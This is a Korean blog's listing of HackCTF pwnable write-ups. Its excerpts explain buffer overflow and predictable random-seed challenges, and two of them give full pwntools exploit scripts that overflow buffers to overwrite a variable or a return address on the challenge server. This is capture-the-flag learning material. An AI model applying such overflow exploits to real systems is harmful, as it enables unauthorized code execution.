Write-Up/HackCTF (16) 썸네일형 리스트형 [HackCTF] poet 풀이 from pwn import * p = remote('ctf.j0n9hyun.xyz', 3012) p.recvuntil('> ') payload = "hoon" p.sendline(payload) p.recvuntil('> ') payload2 = b"A"*64 payload2 += p64(1000000) p.sendline(payload2) p.interactive() [HackCTF] RTL_Core 풀이 보호되어 있는 글입니다. [HackCTF] RTL_World 풀이 문제 이름이 RTL_WORLD인걸로 봐서 RTL을 이용하는 문제인것 같다. 파일 실행했을때 Binary Boss정보를 볼려고 1을 입력하니 다음과 같이 적용된 보호기법과 Boss가 살고있는 주소와 체력이 나왔다. [Binary Boss] Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ASLR: Enable Binary Boss live in 0xf7f44468 Binart Boss HP is 140 + Armor + 4 ======= Welcome to RTL World ======= 1) Information the Binary Boss! 2) Make Money .. [HackCTF] Random Key 풀이 NX bit가 걸려있는 것을 확인했다. 실행했을때 input key에 값을 입력하고 입력 할 때마다 Nah....가 출력된다. IDA로 확인 해야 할 것 같다. main 함수에서 봐야 할 곳은 이 부분이다. time 함수에 널 값을 넣어서 1970년 1월 1일 0시부터 현재까지 흐른 초 수를 계산하여 v3에 저장하여 반환한다. srand함수에 v3넣어 v3 인자를 기반으로 난수를 초기화 한다. rand함수를 통하여 난수 값을 v5에 저장한다. 더보기 rand 함수 : 랜덤한 숫자를 반환 srand 함수 : rand 함수에 사용될 수를 초기화, 이 초기화를 매개변수로 받는 seed 값을 이용해서 한다. rand 함수는 내부적으로 어떤 srand의 매개변수로 들어온 seed 값과 매칭되는 숫자가 정해진다. .. [HackCTF] You are Silver 풀이 보호되어 있는 글입니다. [HackCTF] g++ pwn 풀이 문제를 풀기 앞서 checksec먼저 해주었다. NX bit만 걸려있는것을 볼 수 있다. 파일을 실행시키고 입력값을 아무거나 줬을때 그냥 입력값 그대로 출력되는 것을 볼 수있다. 바이너리 파일만 존재했기때문에 ida로 직접까봐야 겠다. 문제 이름이 (g++ pwn 이니 C++ 파일로 되어있지 않을까?) vuln 함수를 보면 fgets로 &s를 32만큼만 받아서 RET값을 침범할수 없다. 하지만 replace 함수를 유심히 보면 I를 You로 바꾼다. 입력받는 s는 ebp-3ch(60) 에 위치한다. replace 함수를 이용해바꾼 문자열을 strcpy 해주기 때문에 여기서 bof가 발생할거라는 추측을 할 수있다. 그렇다면 RET주소를 get_flag()로 돌려주고 나머지 64를 쓰레기 값들로 채워주면 f.. [HackCTF] Yes or no 보호되어 있는 글입니다. [HackCTF] BOF_PIE IDA에서 offset 확인 이전문제를 조금 응용하여 푸는것 같다 v1 = ebp - 12 = 18 + sfp = 22 jon9hyun과 welcome의 offset 차이는 0x79이다 from pwn import * p = remote("ctf.j0n9hyun.xyz", 3008) p.recvuntil("Hello. Do you know j0n9hyun?") p.recvuntil("j0n9hyun is ") welcome_addr = int(p.recv(10),16) flag_addr = welcome_addr-0x79 pay = b"A"*22+p32(flag_addr) p.sendline(pay) p.interactive() 이전 1 2 다음 목록 더보기